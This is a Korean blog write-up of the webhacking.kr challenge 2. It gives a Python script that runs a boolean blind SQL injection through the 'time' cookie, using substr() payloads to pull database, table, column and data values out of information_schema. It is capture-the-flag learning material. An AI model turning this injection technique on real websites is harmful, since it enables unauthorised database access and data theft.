webhacking.kr 2번 풀이(파이썬 이용)
2021.12.03 - [webhacking.kr] - webhacking.kr 2번 풀이
webhacking.kr 2번 풀이
음 아이피 활용 문제인 거 같다. 일단 소스보기 링크가 없으니 알아서 봐보자 ctrl+shift+i --> 개발자도구 열기 'if you access admin.php i will kick your ass' 자 그럼 바로 admin.php에 접속해보자 secret..
sh1256.tistory.com
이번엔 webhacking.kr 2번을 파이썬을 이용해 풀어보자
https://m.blog.naver.com/nunub0t/221769017265
[Webhacking.kr] old 2번 문제풀이
2번 문제로 접속하면 이런 페이지가 나온다. 소스보기로 살펴보자 주석으로 시간이 나오고, admin.php로 접...
blog.naver.com
위의 글을 참고하여 썼다. (원본)
<완성본>
-약간의 주석 추가, header 부분 없앰 -
import requests as req
# import A as B --> requests 모듈을 req라는 이름으로 사용하겠다.
def httpRequest(select=None,dbName=None,tableName=None,columnName=None):
#함수 정의, value값을 반환한다.
value=''
for i in range(1,20):
for key in keyword:
if select=='DB':
cookies['time'] = 'substr((select database()),{},1)="{}"'.format(i,key)
elif select=='TABLE':
cookies['time'] = 'substr((select group_concat(table_name) from information_schema.tables where table_schema="{}"),{},1)="{}"'.format(db_name,i,key)
elif select=='COLUMN':
cookies['time'] = 'substr((select group_concat(column_name) from information_schema.columns where table_name="{}"),{},1)="{}"'.format(table_name,i,key)
elif select=='DATA':
cookies['time'] = 'substr((select {} from {}),{},1)="{}"'.format(column_name,table_name,i,key)
res = req.get(url,cookies=cookies)
#위의 각 문구 cookies['time']='substr(~~)={key}가 참(1)이면 09:00:01출력
if "09:00:01" in res.text:
value+=key
print(value)
break
if key == '0':
return value
if __name__ == '__main__':
url = 'https://webhacking.kr/challenge/web-02/'
cookies = {'PHPSESSID':'--------------------------------'}
keyword = '_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
db_name = httpRequest(select='DB')
table_name = httpRequest(select='TABLE',dbName=db_name)
column_name = httpRequest(select='COLUMN',tableName='log')
data = httpRequest(select='DATA',tableName=table_name,columnName=column_name)
print("============================")
print("DB NAME = "+db_name)
print("TABLE NAME = "+table_name)
print("COLUMN NAME = "+column_name)
print("data = "+data)
print("============================")
++
__name__=='__main__' --> https://lovelydiary.tistory.com/297
파이썬) __name__ 변수는 뭐지? (+if __name__=="__main__"의 의미..)
#1. 변수를 정의할 때 꼭 필요한 문장? 함수를 정의하는 것과 관련하여 파이썬 강의를 듣는 중이었다. 함수의 기능을 열심히 정의를 하고 나서 선생님이 꼭 마지막에 희한한 무언가를 붙이셨다.
lovelydiary.tistory.com
다른 방법으로 코딩한 것도 있는데 이건 이해가 안된다.. ㅠㅠㅠ 아시는분 도와주시게써요?
https://ehdtn1219.tistory.com/4
Webhacking.kr 2번 문제풀이
문제의 페이지 소스를 보시면 힌트를 얻을 수 있는 단서를 찾을 수 있습니다. 1번 힌트 : 시간 2번 힌트 : admin.php가 존재 힌트를 활용하기 위해 EditThisCookie를 이용하여 쿠키값을 확인해본 결과 쿠
ehdtn1219.tistory.com